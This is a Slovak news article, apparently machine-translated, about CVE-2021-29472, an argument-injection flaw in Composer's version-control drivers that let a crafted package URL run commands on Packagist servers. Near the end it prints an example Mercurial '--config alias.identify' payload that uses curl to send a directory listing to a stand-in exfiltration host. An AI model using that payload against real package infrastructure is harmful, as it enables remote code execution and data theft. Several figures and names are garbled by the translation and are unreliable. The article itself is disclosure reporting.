Zraniteľnosť v správcovi balíkov Composer, ktorá umožňuje kompromitovať úložisko Packagist PHP

V správcovi závislostí Composer bola identifikovaná kritická zraniteľnosť (CVE-2021-29472), ktorá umožňuje spúšťanie ľubovoľných príkazov v systéme pri spracovaní balíka so špeciálne naformátovanou hodnotou URL, ktorá špecifikuje adresu na stiahnutie zdrojového kódu. Problém sa vyskytuje v komponentoch GitDriver, SvnDriver a HgDriver, ktoré sa používajú pri používaní systémov riadenia zdrojov Git, Subversion a Mercurial. Chyba zabezpečenia bola vyriešená vo vydaniach Composer 1.10.22 a 2.0.13.

Konkrétne treba poznamenať, že problém sa primárne týkal predvoleného úložiska balíkov spoločnosti Composer, Packagist, ktoré obsahuje 306 1.4 balíkov pre vývojárov PHP a poskytuje viac ako XNUMX miliardy stiahnutí za mesiac. Experiment ukázal, že ak by existovali znalosti o probléme, útočníci by mohli získať kontrolu nad infraštruktúrou Packagist a zachytiť poverenia správcov alebo presmerovať sťahovanie balíkov na server tretej strany, organizovať doručovanie variantov balíkov so škodlivými zmenami, ktoré by nahradili zadné vrátka. počas procesu inštalácie závislosti.

Nebezpečenstvo pre koncových používateľov je obmedzené na skutočnosť, že obsah súboru skladateľ.json zvyčajne určuje používateľ a zdrojové odkazy sa prenášajú pri prístupe k úložiskám tretích strán, ktoré sú zvyčajne dôveryhodné. Hlavná rana dopadla na úložisko Packagist.org a službu Private Packagist, ktorá nazvala Composer s prenosom dát prijatých od používateľov. Útočníci mohli spustiť svoj kód na serveroch Packagist umiestnením špeciálne navrhnutého balíka.

Tím Packagist opravil zraniteľnosť do 12 hodín od nahlásenia zraniteľnosti. Výskumníci súkromne informovali vývojárov Packagist 22. apríla a problém bol vyriešený v ten istý deň. Verejná aktualizácia aplikácie Composer, ktorá rieši túto chybu zabezpečenia, bola zverejnená 27. apríla, pričom podrobnosti boli odhalené 28. apríla. Audit protokolov na serveroch Packagist neodhalil žiadnu podozrivú aktivitu súvisiacu so zraniteľnosťou.

Problém je spôsobený chybou v kóde overenia adresy URL v koreňovom súbore skladateľ.json a odkazoch na stiahnutie zdroja. Chyba sa v kóde vyskytuje od novembra 2011. Packagist používa špeciálne vrstvy na organizáciu načítania kódu bez toho, aby bol viazaný na špecifický systém riadenia zdroja, ktoré sa vykonávajú volaním „fromShellCommandline“ a odovzdaním argumentov príkazového riadku. Napríklad pre git sa zavolá príkaz „git ls-remote -heads $URL“, kde sa URL spracuje pomocou metódy „ProcessExecutor::escape($url)“, čím sa uniknú potenciálne nebezpečné konštrukcie, ako napríklad „$(. ..)" alebo "` ...`".

Jadrom problému je, že metóda ProcessExecutor::escape neunikla sekvencii „-“, ktorá umožňovala zadať v URL ľubovoľný ďalší parameter volania. Takéto escapovanie chýbalo v ovládačoch GitDriver.php, SvnDriver.php a HgDriver.php. Útok na GitDriver.php bol brzdený skutočnosťou, že príkaz „git ls-remote“ nepodporoval zadávanie ďalších argumentov za cestu. Útok na HgDriver.php sa ukázal byť možným odovzdaním parametra „--config“ obslužnému programu „hq“, ktorý vám umožňuje organizovať vykonávanie ľubovoľného príkazu manipuláciou s nastavením „alias.identify“. Ak chcete napríklad stiahnuť a spustiť kód spustením nástroja curl, môžete zadať: —config=alias.identify=!curl http://exfiltration-host.tld —data „$(ls -alh)“

Zverejnením testovacieho balíka s podobnou URL adresou na Packagist výskumníci potvrdili, že po zverejnení ich server dostal HTTP požiadavku od jedného z... serverov Packagist na AWS, obsahujúci zoznam súborov v aktuálnom adresári.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre stránky s DDoS ochranou, VPS VDS servery 🔥 Kúpte si spoľahlivý webhosting s ochranou DDoS, VPS VDS servery | ProHoster